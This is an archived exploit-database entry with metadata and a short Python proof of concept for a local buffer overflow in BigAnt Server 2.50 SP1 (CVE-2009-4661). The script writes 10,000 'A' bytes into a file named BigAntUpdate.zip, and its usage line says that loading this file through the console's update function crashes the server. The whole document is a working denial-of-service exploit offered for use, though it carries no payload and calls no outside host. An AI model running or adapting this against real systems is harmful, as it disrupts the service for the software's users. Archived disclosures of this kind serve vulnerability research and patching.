BigAnt Server 2.50 SP1 - '.zip' Local Buffer Overflow (PoC)

Author: Dr_IDE
type: dos
platform: windows
port: 
date_added: 2009-09-15 
date_updated:  
verified: 1 
codes: OSVDB-62601;CVE-2009-4661 
tags: 
aliases:  
screenshot_url:  
application_url: 

#!/usr/bin/env python

#######################################################################
#
# BigAnt Server 2.50 SP1 Local Buffer Overflow PoC
# Found By: 	Dr_IDE
# Tested:   	XPSP3
# Usage:	Open BigAnt Console, Go to Update, Browse to zip, Boom.
#
#######################################################################

buff = ("\x41" * 10000)

f1 = open("BigAntUpdate.zip","w")
f1.write(buff)
f1.close()

# milw0rm.com [2009-09-16]